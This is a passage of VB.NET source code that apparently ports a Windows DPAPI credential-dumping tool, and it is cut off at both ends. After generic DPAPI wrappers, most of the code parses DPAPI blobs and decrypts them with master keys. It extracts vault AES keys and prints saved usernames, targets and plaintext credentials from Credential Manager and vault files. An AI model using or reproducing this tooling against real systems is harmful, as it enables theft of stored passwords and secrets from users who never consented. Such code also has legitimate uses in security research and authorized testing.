domainInfo = CType(Marshal.PtrToStructure(pDCI, GetType(DOMAIN_CONTROLLER_INFO)), DOMAIN_CONTROLLER_INFO)
Dim dcName = domainInfo.DomainControllerName
NetApiBufferFree(pDCI)
Return dcName.Trim("\"c)
Else
Dim errorMessage As String = New Win32Exception(val).Message
Console.WriteLine(vbCrLf & " [X] Error {0} retrieving domain controller : {1}", val, errorMessage)
NetApiBufferFree(pDCI)
Return ""
End If
End Function
End Class
Public Class DPAPI
' Wrapper for DPAPI CryptProtectData function.
<DllImport("crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Private Shared Function CryptProtectData _
(
ByRef pPlainText As DATA_BLOB,
ByVal szDescription As String,
ByRef pEntropy As DATA_BLOB,
ByVal pReserved As IntPtr,
ByRef pPrompt As CRYPTPROTECT_PROMPTSTRUCT,
ByVal dwFlags As Integer,
ByRef pCipherText As DATA_BLOB
) As Boolean
End Function
' Wrapper for DPAPI CryptUnprotectData function.
<DllImport("crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Private Shared Function CryptUnprotectData _
(
ByRef pCipherText As DATA_BLOB,
ByRef pszDescription As String,
ByRef pEntropy As DATA_BLOB,
ByVal pReserved As IntPtr,
ByRef pPrompt As CRYPTPROTECT_PROMPTSTRUCT,
ByVal dwFlags As Integer,
ByRef pPlainText As DATA_BLOB
) As Boolean
End Function
' BLOB structure used to pass data to DPAPI functions.
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>
Friend Structure DATA_BLOB
Public cbData As Integer
Public pbData As IntPtr
End Structure
' Prompt structure to be used for required parameters.
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>
Friend Structure CRYPTPROTECT_PROMPTSTRUCT
Public cbSize As Integer
Public dwPromptFlags As Integer
Public hwndApp As IntPtr
Public szPrompt As String
End Structure
' DPAPI key initialization flags.
Private Const CRYPTPROTECT_UI_FORBIDDEN As Integer = 1
Private Const CRYPTPROTECT_LOCAL_MACHINE As Integer = 4
' <summary>
' Initializes empty prompt structure.
' </summary>
' <param name="ps">
' Prompt parameter (which we do not actually need).
' </param>
Private Shared Sub InitPrompt _
(
ByRef ps As CRYPTPROTECT_PROMPTSTRUCT
)
ps.cbSize = Marshal.SizeOf(GetType(CRYPTPROTECT_PROMPTSTRUCT))
ps.dwPromptFlags = 0
ps.hwndApp = IntPtr.Zero
ps.szPrompt = Nothing
End Sub
' <summary>
' Initializes a BLOB structure from a byte array.
' </summary>
' <param name="data">
' Original data in a byte array format.
' </param>
' <param name="blob">
' Returned blob structure.
' </param>
Private Shared Sub InitBLOB _
(
ByVal data As Byte(),
ByRef blob As DATA_BLOB
)
' Use empty array for null parameter.
If data Is Nothing Then
data = New Byte(0) {}
End If
' Allocate memory for the BLOB data.
blob.pbData = Marshal.AllocHGlobal(data.Length)
' Make sure that memory allocation was successful.
If blob.pbData.Equals(IntPtr.Zero) Then
Throw New Exception(
"Unable to allocate data buffer for BLOB structure.")
End If
' Specify number of bytes in the BLOB.
blob.cbData = data.Length
Marshal.Copy(data, 0, blob.pbData, data.Length)
End Sub
' Flag indicating the type of key. DPAPI terminology refers to
' key types as user store or machine store.
Public Enum KeyType
UserKey = 1
MachineKey
End Enum
' It is reasonable to set default key type to user key.
Private Shared defaultKeyType As KeyType = KeyType.UserKey
' <summary>
' Calls DPAPI CryptProtectData function to encrypt a plaintext
' string value with a user-specific key. This function does not
' specify data description and additional entropy.
' </summary>
' <param name="plainText">
' Plaintext data to be encrypted.
' </param>
' <returns>
' Encrypted value in a base64-encoded format.
' </returns>
Public Shared Function Encrypt _
(
ByVal plainText As String
) As String
Return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty)
End Function
' <summary>
' Calls DPAPI CryptProtectData function to encrypt a plaintext
' string value. This function does not specify data description
' and additional entropy.
' </summary>
' <param name="keyType">
' Defines type of encryption key to use. When user key is
' specified, any application running under the same user account
' as the one making this call, will be able to decrypt data.
' Machine key will allow any application running on the same
' computer where data were encrypted to perform decryption.
' Note: If optional entropy is specifed, it will be required
' for decryption.
' </param>
' <param name="plainText">
' Plaintext data to be encrypted.
' </param>
' <returns>
' Encrypted value in a base64-encoded format.
' </returns>
Public Shared Function Encrypt _
(
ByVal keyType As KeyType,
ByVal plainText As String
) As String
Return Encrypt(keyType, plainText, String.Empty, String.Empty)
End Function
Public Shared Function Encrypt _
(
ByVal keyType As KeyType,
ByVal plainText As String,
ByVal entropy As String
) As String
Return Encrypt(keyType, plainText, entropy, String.Empty)
End Function
' <summary>
' Calls DPAPI CryptProtectData function to encrypt a plaintext
' string value. This function does not specify data description.
' </summary>
' <param name="keyType">
' Defines type of encryption key to use. When user key is
' specified, any application running under the same user account
' as the one making this call, will be able to decrypt data.
' Machine key will allow any application running on the same
' computer where data were encrypted to perform decryption.
' Note: If optional entropy is specifed, it will be required
' for decryption.
' </param>
' <param name="plainText">
' Plaintext data to be encrypted.
' </param>
' <param name="entropy">
' Optional entropy which - if specified - will be required to
' perform decryption.
' </param>
' <returns>
' Encrypted value in a base64-encoded format.
' </returns>
Public Shared Function Encrypt _
(
ByVal keyType As KeyType,
ByVal plainText As String,
ByVal entropy As String,
ByVal description As String
) As String
If plainText Is Nothing Then
plainText = String.Empty
End If
If entropy Is Nothing Then
entropy = String.Empty
End If
Dim ReturnedData() As Byte
ReturnedData = Encrypt(keyType, Encoding.UTF8.GetBytes(plainText), Encoding.UTF8.GetBytes(entropy), description)
Debug.Write(BytesToString(ReturnedData))
Debug.WriteLine(vbCrLf)
Return Convert.ToBase64String(ReturnedData)
End Function
Private Shared Function BytesToString(ByVal Input As Byte()) As String
Dim Result As New System.Text.StringBuilder(Input.Length * 2)
Dim Part As String
For Each b As Byte In Input
Part = Conversion.Hex(b)
If Part.Length = 1 Then Part = "0" & Part
Result.Append(Part & " ")
Next
Return Result.ToString()
End Function
' <summary>
' Calls DPAPI CryptProtectData function to encrypt an array of
' plaintext bytes.
' </summary>
' <param name="keyType">
' Defines type of encryption key to use. When user key is
' specified, any application running under the same user account
' as the one making this call, will be able to decrypt data.
' Machine key will allow any application running on the same
' computer where data were encrypted to perform decryption.
' Note: If optional entropy is specifed, it will be required
' for decryption.
' </param>
' <param name="plainTextBytes">
' Plaintext data to be encrypted.
' </param>
' <param name="entropyBytes">
' Optional entropy which - if specified - will be required to
' perform decryption.
' </param>
' <param name="description">
' Optional description of data to be encrypted. If this value is
' specified, it will be stored along with encrypted data and
' returned as a separate value during decryption.
' </param>
' <returns>
' Encrypted value.
' </returns>
Public Shared Function Encrypt _
(
ByVal keyType As KeyType,
ByVal plainTextBytes As Byte(),
ByVal entropyBytes As Byte(),
ByVal description As String
) As Byte()
' Make sure that parameters are valid.
If plainTextBytes Is Nothing Then
plainTextBytes = New Byte(0) {}
End If
If entropyBytes Is Nothing Then
entropyBytes = New Byte(0) {}
End If
If description Is Nothing Then
description = String.Empty
End If
' Create BLOBs to hold data.
Dim plainTextBlob As DATA_BLOB = New DATA_BLOB
Dim cipherTextBlob As DATA_BLOB = New DATA_BLOB
Dim entropyBlob As DATA_BLOB = New DATA_BLOB
' We only need prompt structure because it is a required
' parameter.
Dim prompt As _
CRYPTPROTECT_PROMPTSTRUCT = New CRYPTPROTECT_PROMPTSTRUCT
InitPrompt(prompt)
Try
' Convert plaintext bytes into a BLOB structure.
Try
InitBLOB(plainTextBytes, plainTextBlob)
Catch ex As Exception
Throw New Exception("Cannot initialize plaintext BLOB.", ex)
End Try
' Convert entropy bytes into a BLOB structure.
Try
InitBLOB(entropyBytes, entropyBlob)
Catch ex As Exception
Throw New Exception("Cannot initialize entropy BLOB.", ex)
End Try
' Disable any types of UI.
Dim flags As Integer = CRYPTPROTECT_UI_FORBIDDEN
' When using machine-specific key, set up machine flag.
If keyType = KeyType.MachineKey Then
flags = flags Or (CRYPTPROTECT_LOCAL_MACHINE)
End If
' Call DPAPI to encrypt data.
Dim success As Boolean = CryptProtectData(
plainTextBlob,
description,
entropyBlob,
IntPtr.Zero,
prompt,
flags,
cipherTextBlob)
' Check the result.
If Not success Then
' If operation failed, retrieve last Win32 error.
Dim errCode As Integer = Marshal.GetLastWin32Error()
' Win32Exception will contain error message corresponding
' to the Windows error code.
Throw New Exception("CryptProtectData failed.",
New Win32Exception(errCode))
End If
' Allocate memory to hold ciphertext.
Dim cipherTextBytes(cipherTextBlob.cbData - 1) As Byte
' Copy ciphertext from the BLOB to a byte array.
Marshal.Copy(cipherTextBlob.pbData, cipherTextBytes, 0,
cipherTextBlob.cbData)
' Return the result.
Return cipherTextBytes
Catch ex As Exception
Throw New Exception("DPAPI was unable to encrypt data.", ex)
Finally
If Not (plainTextBlob.pbData.Equals(IntPtr.Zero)) Then
Marshal.FreeHGlobal(plainTextBlob.pbData)
End If
If Not (cipherTextBlob.pbData.Equals(IntPtr.Zero)) Then
Marshal.FreeHGlobal(cipherTextBlob.pbData)
End If
If Not (entropyBlob.pbData.Equals(IntPtr.Zero)) Then
Marshal.FreeHGlobal(entropyBlob.pbData)
End If
End Try
End Function
' <summary>
' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
' This function does not use additional entropy and does not
' return data description.
' </summary>
' <param name="cipherText">
' Encrypted data formatted as a base64-encoded string.
' </param>
' <returns>
' Decrypted data returned as a UTF-8 string.
' </returns>
' <remarks>
' When decrypting data, it is not necessary to specify which
' type of encryption key to use: user-specific or
' machine-specific; DPAPI will figure it out by looking at
' the signature of encrypted data.
' </remarks>
Public Shared Function Decrypt _
(
ByVal cipherText As String
) As String
Dim description As String
Return Decrypt(cipherText, String.Empty, description)
End Function
' <summary>
' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
' This function does not use additional entropy.
' </summary>
' <param name="cipherText">
' Encrypted data formatted as a base64-encoded string.
' </param>
' <param name="description">
' Returned description of data specified during encryption.
' </param>
' <returns>
' Decrypted data returned as a UTF-8 string.
' </returns>
' <remarks>
' When decrypting data, it is not necessary to specify which
' type of encryption key to use: user-specific or
' machine-specific; DPAPI will figure it out by looking at
' the signature of encrypted data.
' </remarks>
Public Shared Function Decrypt _
(
ByVal cipherText As String,
ByRef description As String
) As String
Return Decrypt(cipherText, String.Empty, description)
End Function
' <summary>
' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
' </summary>
' <param name="cipherText">
' Encrypted data formatted as a base64-encoded string.
' </param>
' <param name="entropy">
' Optional entropy, which is required if it was specified during
' encryption.
' </param>
' <param name="description">
' Returned description of data specified during encryption.
' </param>
' <returns>
' Decrypted data returned as a UTF-8 string.
' </returns>
' <remarks>
' When decrypting data, it is not necessary to specify which
' type of encryption key to use: user-specific or
' machine-specific; DPAPI will figure it out by looking at
' the signature of encrypted data.
' </remarks>
Public Shared Function Decrypt _
(
ByVal cipherText As String,
ByVal entropy As String,
ByRef description As String
) As String
' Make sure that parameters are valid.
If entropy Is Nothing Then
entropy = String.Empty
End If
Return Encoding.UTF8.GetString(
Decrypt(Convert.FromBase64String(cipherText),
Encoding.UTF8.GetBytes(entropy), description))
End Function
' <summary>
' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
' </summary>
' <param name="cipherTextBytes">
' Encrypted data.
' </param>
' <param name="entropyBytes">
' Optional entropy, which is required if it was specified during
' encryption.
' </param>
' <param name="description">
' Returned description of data specified during encryption.
' </param>
' <returns>
' Decrypted data bytes.
' </returns>
' <remarks>
' When decrypting data, it is not necessary to specify which
' type of encryption key to use: user-specific or
' machine-specific; DPAPI will figure it out by looking at
' the signature of encrypted data.
' </remarks>
Public Shared Function Decrypt _
(
ByVal cipherTextBytes As Byte(),
ByVal entropyBytes As Byte(),
ByRef description As String
) As Byte()
' Create BLOBs to hold data.
Dim plainTextBlob As DATA_BLOB = New DATA_BLOB
Dim cipherTextBlob As DATA_BLOB = New DATA_BLOB
Dim entropyBlob As DATA_BLOB = New DATA_BLOB
' We only need prompt structure because it is a required
' parameter.
Dim prompt As _
CRYPTPROTECT_PROMPTSTRUCT = New CRYPTPROTECT_PROMPTSTRUCT
InitPrompt(prompt)
' Initialize description string.
description = String.Empty
Try
' Convert ciphertext bytes into a BLOB structure.
Try
InitBLOB(cipherTextBytes, cipherTextBlob)
Catch ex As Exception
Throw New Exception("Cannot initialize ciphertext BLOB.", ex)
End Try
' Convert entropy bytes into a BLOB structure.
Try
InitBLOB(entropyBytes, entropyBlob)
Catch ex As Exception
Throw New Exception("Cannot initialize entropy BLOB.", ex)
End Try
' Disable any types of UI. CryptUnprotectData does not
' mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
' supported flags so we will not set it up.
Dim flags As Integer = CRYPTPROTECT_UI_FORBIDDEN
' Call DPAPI to decrypt data.
Dim success As Boolean = CryptUnprotectData(
cipherTextBlob,
description,
entropyBlob,
IntPtr.Zero,
prompt,
flags,
plainTextBlob)
' Check the result.
If Not success Then
' If operation failed, retrieve last Win32 error.
Dim errCode As Integer = Marshal.GetLastWin32Error()
' Win32Exception will contain error message corresponding
' to the Windows error code.
Throw New Exception("CryptUnprotectData failed.",
New Win32Exception(errCode))
End If
' Allocate memory to hold plaintext.
Dim plainTextBytes(plainTextBlob.cbData - 1) As Byte
' Copy ciphertext from the BLOB to a byte array.
Marshal.Copy(plainTextBlob.pbData, plainTextBytes, 0,
plainTextBlob.cbData)
' Return the result.
Return plainTextBytes
Catch ex As Exception
Throw New Exception("DPAPI was unable to decrypt data.", ex)
' Free all memory allocated for BLOBs.
Finally
If Not (plainTextBlob.pbData.Equals(IntPtr.Zero)) Then
Marshal.FreeHGlobal(plainTextBlob.pbData)
End If
If Not (cipherTextBlob.pbData.Equals(IntPtr.Zero)) Then
Marshal.FreeHGlobal(cipherTextBlob.pbData)
End If
If Not (entropyBlob.pbData.Equals(IntPtr.Zero)) Then
Marshal.FreeHGlobal(entropyBlob.pbData)
End If
End Try
End Function
Public Enum DataProtectionScope
CurrentUser = 0
LocalMachine = 1
End Enum
Public Shared Function DescribeDPAPIBlob(ByVal blobBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional blobType As String = "credential", ByVal Optional unprotect As Boolean = False) As Byte()
Dim offset As Integer = 0
If blobType.Equals("credential") Then
offset = 36
ElseIf blobType.Equals("policy") Then
offset = 24
ElseIf blobType.Equals("blob") Then
offset = 24
ElseIf blobType.Equals("rdg") Then
offset = 24
Else
Console.WriteLine("[X] Unsupported blob type: {0}", blobType)
Return New Byte(-1) {}
End If
Dim guidMasterKeyBytes As Byte() = New Byte(15) {}
Array.Copy(blobBytes, offset, guidMasterKeyBytes, 0, 16)
Dim guidMasterKey As Guid = New Guid(guidMasterKeyBytes)
Dim guidString As String = String.Format("{{{0}}}", guidMasterKey)
If Not blobType.Equals("rdg") Then
Console.WriteLine(" guidMasterKey : {0}", guidString)
End If
offset += 16
If Not blobType.Equals("rdg") Then
Console.WriteLine(" size : {0}", blobBytes.Length)
End If
Dim flags As UInt32 = BitConverter.ToUInt32(blobBytes, offset)
offset += 4
If Not blobType.Equals("rdg") Then
Console.Write(" flags : 0x{0}", flags.ToString("X"))
If (flags <> 0) AndAlso ((flags And &H20000000) = flags) Then
Console.Write(" (CRYPTPROTECT_SYSTEM)")
End If
Console.WriteLine()
End If
Dim descLength As Integer = BitConverter.ToInt32(blobBytes, offset)
offset += 4
Dim description As String = Encoding.Unicode.GetString(blobBytes, offset, descLength)
offset += descLength
Dim algCrypt As Integer = BitConverter.ToInt32(blobBytes, offset)
offset += 4
Dim algCryptLen As Integer = BitConverter.ToInt32(blobBytes, offset)
offset += 4
Dim saltLen As Integer = BitConverter.ToInt32(blobBytes, offset)
offset += 4
Dim saltBytes As Byte() = New Byte(saltLen - 1) {}
Array.Copy(blobBytes, offset, saltBytes, 0, saltLen)
offset += saltLen
Dim hmacKeyLen As Integer = BitConverter.ToInt32(blobBytes, offset)
offset += 4 + hmacKeyLen
Dim algHash As Integer = BitConverter.ToInt32(blobBytes, offset)
offset += 4
If Not blobType.Equals("rdg") Then
Console.WriteLine(" algHash/algCrypt : {0} ({1}) / {2} ({3})", algHash, CType(algHash, Interop.CryptAlg), algCrypt, CType(algCrypt, Interop.CryptAlg))
Console.WriteLine(" description : {0}", description)
End If
Dim algHashLen As Integer = BitConverter.ToInt32(blobBytes, offset)
offset += 4
Dim hmac2KeyLen As Integer = BitConverter.ToInt32(blobBytes, offset)
offset += 4 + hmac2KeyLen
Dim dataLen As Integer = BitConverter.ToInt32(blobBytes, offset)
offset += 4
Dim dataBytes As Byte() = New Byte(dataLen - 1) {}
Array.Copy(blobBytes, offset, dataBytes, 0, dataLen)
Console.WriteLine(" hmac2KeyLen : {0}", hmac2KeyLen)
Console.WriteLine(" dataLen : {0}", dataLen)
Console.WriteLine(" dataBytes : 0x{0}", BitConverter.ToString(dataBytes))
If (blobType.Equals("rdg") OrElse blobType.Equals("blob")) AndAlso unprotect Then
Dim entropy As Byte() = New Byte(-1) {}
Try
Dim decBytes As Byte() = ProtectedData.Unprotect(blobBytes, entropy, DataProtectionScope.CurrentUser)
Return decBytes
Catch
Return Encoding.Unicode.GetBytes(String.Format("MasterKey needed - {0}", guidString))
End Try
ElseIf MasterKeys.ContainsKey(guidString) Then
If algHash = 32782 Then
Try
Dim keyBytes As Byte() = Helpers.StringToByteArray(MasterKeys(guidString).ToString())
Dim derivedKeyBytes As Byte() = Crypto.DeriveKey(keyBytes, saltBytes, algHash)
Dim finalKeyBytes As Byte() = New Byte(algCryptLen / 8 - 1) {}
Array.Copy(derivedKeyBytes, finalKeyBytes, CInt(algCryptLen / 8))
Return Crypto.DecryptBlob(dataBytes, finalKeyBytes, algCrypt)
Catch
Console.WriteLine(" [X] Error retrieving GUID:SHA1 from cache {0}", guidString)
End Try
ElseIf algHash = 32772 Then
Try
Dim keyBytes As Byte() = Helpers.StringToByteArray(MasterKeys(guidString).ToString())
Dim derivedKeyBytes As Byte() = Crypto.DeriveKey(keyBytes, saltBytes, algHash)
Dim finalKeyBytes As Byte() = New Byte(algCryptLen / 8 - 1) {}
Array.Copy(derivedKeyBytes, finalKeyBytes, CInt(algCryptLen / 8))
Return Crypto.DecryptBlob(dataBytes, finalKeyBytes, algCrypt)
Catch
Console.WriteLine(" [X] Error retrieving GUID:SHA1 from cache {0}", guidString)
End Try
Else
Console.WriteLine(" [X] Only sha1 and sha256 are currently supported for the hash algorithm. Alg '{0}' ({1}) not supported", algHash, CType(algHash, Interop.CryptAlg))
End If
Else
If blobType.Equals("rdg") Then
Return Encoding.Unicode.GetBytes(String.Format("MasterKey needed - {0}", guidString))
Else
Console.WriteLine(" [X] MasterKey GUID not in cache: {0}", guidString)
End If
End If
If Not blobType.Equals("rdg") Then
Console.WriteLine()
End If
Return New Byte(-1) {}
End Function
Public Shared Function DescribePolicy(ByVal policyBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String)) As ArrayList
Dim offset As Integer = 0
Dim version As Integer = BitConverter.ToInt32(policyBytes, offset)
offset += 4
Dim vaultIDbytes As Byte() = New Byte(15) {}
Array.Copy(policyBytes, offset, vaultIDbytes, 0, 16)
Dim vaultID As Guid = New Guid(vaultIDbytes)
offset += 16
Console.WriteLine(vbCrLf & " VaultID : {0}", vaultID)
Dim nameLen As Integer = BitConverter.ToInt32(policyBytes, offset)
offset += 4
Dim name As String = Encoding.Unicode.GetString(policyBytes, offset, nameLen)
offset += nameLen
Console.WriteLine(" Name : {0}", name)
offset += 12
Dim keyLen As Integer = BitConverter.ToInt32(policyBytes, offset)
offset += 4
offset += 32
Dim keyBlobLen As Integer = BitConverter.ToInt32(policyBytes, offset)
offset += 4
Dim blobBytes As Byte() = New Byte(keyBlobLen - 1) {}
Array.Copy(policyBytes, offset, blobBytes, 0, keyBlobLen)
Dim plaintextBytes As Byte() = DescribeDPAPIBlob(blobBytes, MasterKeys, "policy")
If plaintextBytes.Length > 0 Then
Dim keys As ArrayList = ParseDecPolicyBlob(plaintextBytes)
If keys.Count = 2 Then
Dim aes128KeyStr As String = BitConverter.ToString(CType(keys(0), Byte())).Replace("-", "")
Console.WriteLine(" aes128 key : {0}", aes128KeyStr)
Dim aes256KeyStr As String = BitConverter.ToString(CType(keys(1), Byte())).Replace("-", "")
Console.WriteLine(" aes256 key : {0}", aes256KeyStr)
Return keys
Else
Console.WriteLine(" [X] Error parsing decrypted Policy.vpol (AES keys not extracted)")
Return New ArrayList()
End If
Else
Return New ArrayList()
End If
End Function
Public Shared Sub DescribeVaultCred(ByVal vaultBytes As Byte(), ByVal AESKeys As ArrayList)
Dim aes128key As Byte() = CType(AESKeys(0), Byte())
Dim aes256key As Byte() = CType(AESKeys(1), Byte())
Dim offset As Integer = 0
Dim finalAttributeOffset As Integer = 0
offset += 16
Dim unk0 As Integer = BitConverter.ToInt32(vaultBytes, offset)
offset += 4
Dim lastWritten As Long = CLng(BitConverter.ToInt64(vaultBytes, offset))
offset += 8
Dim lastWrittenTime As System.DateTime = System.DateTime.FromFileTime(lastWritten)
Console.WriteLine(vbCrLf & " LastWritten : {0}", lastWrittenTime)
offset += 8
Dim friendlyNameLen As Integer = BitConverter.ToInt32(vaultBytes, offset)
offset += 4
Dim friendlyName As String = Encoding.Unicode.GetString(vaultBytes, offset, friendlyNameLen)
offset += friendlyNameLen
Console.WriteLine(" FriendlyName : {0}", friendlyName)
Dim attributeMapLen As Integer = BitConverter.ToInt32(vaultBytes, offset)
offset += 4
Dim numberOfAttributes As Integer = attributeMapLen / 12
Dim attributeMap As Dictionary(Of Integer, Integer) = New Dictionary(Of Integer, Integer)()
For i As Integer = 0 To numberOfAttributes - 1
Dim attributeNum As Integer = BitConverter.ToInt32(vaultBytes, offset)
offset += 4
Dim attributeOffset As Integer = BitConverter.ToInt32(vaultBytes, offset)
offset += 8
attributeMap.Add(attributeNum, attributeOffset)
Next
Dim leftover As Byte() = New Byte(vaultBytes.Length - 222 - 1) {}
Array.Copy(vaultBytes, 222, leftover, 0, leftover.Length)
For Each attribute As KeyValuePair(Of Integer, Integer) In attributeMap
Dim attributeOffset As Integer = attribute.Value
attributeOffset += 16
If attribute.Key >= 100 Then
attributeOffset += 4
End If
Dim dataLen As Integer = BitConverter.ToInt32(vaultBytes, attributeOffset)
attributeOffset += 4
finalAttributeOffset = attributeOffset
If dataLen > 0 Then
Dim IVPresent As Boolean = BitConverter.ToBoolean(vaultBytes, attributeOffset)
attributeOffset += 1
If Not IVPresent Then
Dim dataBytes As Byte() = New Byte(dataLen - 1 - 1) {}
Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1)
finalAttributeOffset = attributeOffset + dataLen - 1
Dim decBytes As Byte() = Crypto.AESDecrypt(aes128key, New Byte(-1) {}, dataBytes)
Else
Dim IVLen As Integer = BitConverter.ToInt32(vaultBytes, attributeOffset)
attributeOffset += 4
Dim IVBytes As Byte() = New Byte(IVLen - 1) {}
Array.Copy(vaultBytes, attributeOffset, IVBytes, 0, IVLen)
attributeOffset += IVLen
Dim dataBytes As Byte() = New Byte(dataLen - 1 - 4 - IVLen - 1) {}
Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1 - 4 - IVLen)
attributeOffset += dataLen - 1 - 4 - IVLen
finalAttributeOffset = attributeOffset
Dim decBytes As Byte() = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes)
DescribeVaultItem(decBytes)
End If
End If
Next
If (numberOfAttributes > 0) AndAlso (unk0 < 4) Then
Dim clearOffset As Integer = finalAttributeOffset - 2
Dim clearBytes As Byte() = New Byte(vaultBytes.Length - clearOffset - 1) {}
Array.Copy(vaultBytes, clearOffset, clearBytes, 0, clearBytes.Length)
Dim cleatOffSet2 As Integer = 0
cleatOffSet2 += 4
Dim dataLen As Integer = BitConverter.ToInt32(clearBytes, cleatOffSet2)
cleatOffSet2 += 4
If dataLen > 2000 Then
Console.WriteLine(" [*] Vault credential clear attribute is > 2000 bytes, skipping...")
ElseIf dataLen > 0 Then
Dim IVPresent As Boolean = BitConverter.ToBoolean(vaultBytes, cleatOffSet2)
cleatOffSet2 += 1
If Not IVPresent Then
Dim dataBytes As Byte() = New Byte(dataLen - 1 - 1) {}
Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1)
Dim decBytes As Byte() = Crypto.AESDecrypt(aes128key, New Byte(-1) {}, dataBytes)
Else
Dim IVLen As Integer = BitConverter.ToInt32(clearBytes, cleatOffSet2)
cleatOffSet2 += 4
Dim IVBytes As Byte() = New Byte(IVLen - 1) {}
Array.Copy(clearBytes, cleatOffSet2, IVBytes, 0, IVLen)
cleatOffSet2 += IVLen
Dim dataBytes As Byte() = New Byte(dataLen - 1 - 4 - IVLen - 1) {}
Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1 - 4 - IVLen)
cleatOffSet2 += dataLen - 1 - 4 - IVLen
finalAttributeOffset = cleatOffSet2
Dim decBytes As Byte() = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes)
DescribeVaultItem(decBytes)
End If
End If
End If
End Sub
Public Shared Sub DescribeVaultItem(ByVal vaultItemBytes As Byte())
Dim offset As Integer = 0
Dim version As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
offset += 4
Dim count As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
offset += 4
offset += 4
For i As Integer = 0 To count - 1
Dim id As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
offset += 4
Dim size As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
offset += 4
Dim entryString As String = Encoding.Unicode.GetString(vaultItemBytes, offset, size)
Dim entryData As Byte() = New Byte(size - 1) {}
Array.Copy(vaultItemBytes, offset, entryData, 0, size)
offset += size
Select Case id
Case 1
Console.WriteLine(" Resource : {0}", entryString)
Case 2
Console.WriteLine(" Identity : {0}", entryString)
Case 3
Console.WriteLine(" Authenticator : {0}", entryString)
Case Else
If Helpers.IsUnicode(entryData) Then
Console.WriteLine(" Property {0} : {1}", id, entryString)
Else
Dim entryDataString As String = BitConverter.ToString(entryData).Replace("-", " ")
Console.WriteLine(" Property {0} : {1}", id, entryDataString)
End If
End Select
Next
End Sub
Public Shared Sub DescribeCredential(ByVal credentialBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String))
Dim plaintextBytes As Byte() = DescribeDPAPIBlob(credentialBytes, MasterKeys, "credential")
If plaintextBytes.Length > 0 Then
ParseDecCredBlob(plaintextBytes)
End If
End Sub
Public Shared Sub ParseDecCredBlob(ByVal decBlobBytes As Byte())
Dim offset As Integer = 0
Dim credFlags As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
offset += 4
Dim credSize As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
offset += 4
Dim credUnk0 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
offset += 4
Dim type As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
offset += 4
Dim flags As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
offset += 4
Dim lastWritten As Long = CLng(BitConverter.ToInt64(decBlobBytes, offset))
offset += 8
Dim lastWrittenTime As System.DateTime = System.DateTime.FromFileTime(lastWritten)
Console.WriteLine(" LastWritten : {0}", lastWrittenTime)
Dim unkFlagsOrSize As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
offset += 4
Dim persist As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
offset += 4
Dim attributeCount As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
offset += 4
Dim unk0 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
offset += 4
Dim unk1 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
offset += 4
Dim targetNameLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
offset += 4
Dim targetName As String = Encoding.Unicode.GetString(decBlobBytes, offset, targetNameLen)
offset += targetNameLen
Console.WriteLine(" TargetName : {0}", targetName)
Dim targetAliasLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
offset += 4
Dim targetAlias As String = Encoding.Unicode.GetString(decBlobBytes, offset, targetAliasLen)
offset += targetAliasLen
Console.WriteLine(" TargetAlias : {0}", targetAlias)
Dim commentLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
offset += 4
Dim comment As String = Encoding.Unicode.GetString(decBlobBytes, offset, commentLen)
offset += commentLen
Console.WriteLine(" Comment : {0}", comment)
Dim unkDataLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
offset += 4
Dim unkData As String = Encoding.Unicode.GetString(decBlobBytes, offset, unkDataLen)
offset += unkDataLen
Dim userNameLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
offset += 4
Dim userName As String = Encoding.Unicode.GetString(decBlobBytes, offset, userNameLen)
offset += userNameLen
Console.WriteLine(" UserName : {0}", userName)
Dim credBlobLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
offset += 4
Dim credBlobBytes As Byte() = New Byte(credBlobLen - 1) {}
Array.Copy(decBlobBytes, offset, credBlobBytes, 0, credBlobLen)
offset += credBlobLen
If Helpers.IsUnicode(credBlobBytes) Then
Dim credBlob As String = Encoding.Unicode.GetString(credBlobBytes)
Console.WriteLine(" Credential : {0}", credBlob)
Else
Dim credBlobByteString As String = BitConverter.ToString(credBlobBytes).Replace("-", " ")
Console.WriteLine(" Credential : {0}", credBlobByteString)
End If
End Sub
Public Shared Function ParseDecPolicyBlob(ByVal decBlobBytes As Byte()) As ArrayList
Dim keys As ArrayList = New ArrayList()
Dim s As String = Encoding.ASCII.GetString(decBlobBytes, 12, 4)
If s.Equals("KDBM") Then
Dim offset As Integer = 20
Dim aes128len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
offset += 4
If aes128len <> 16 Then
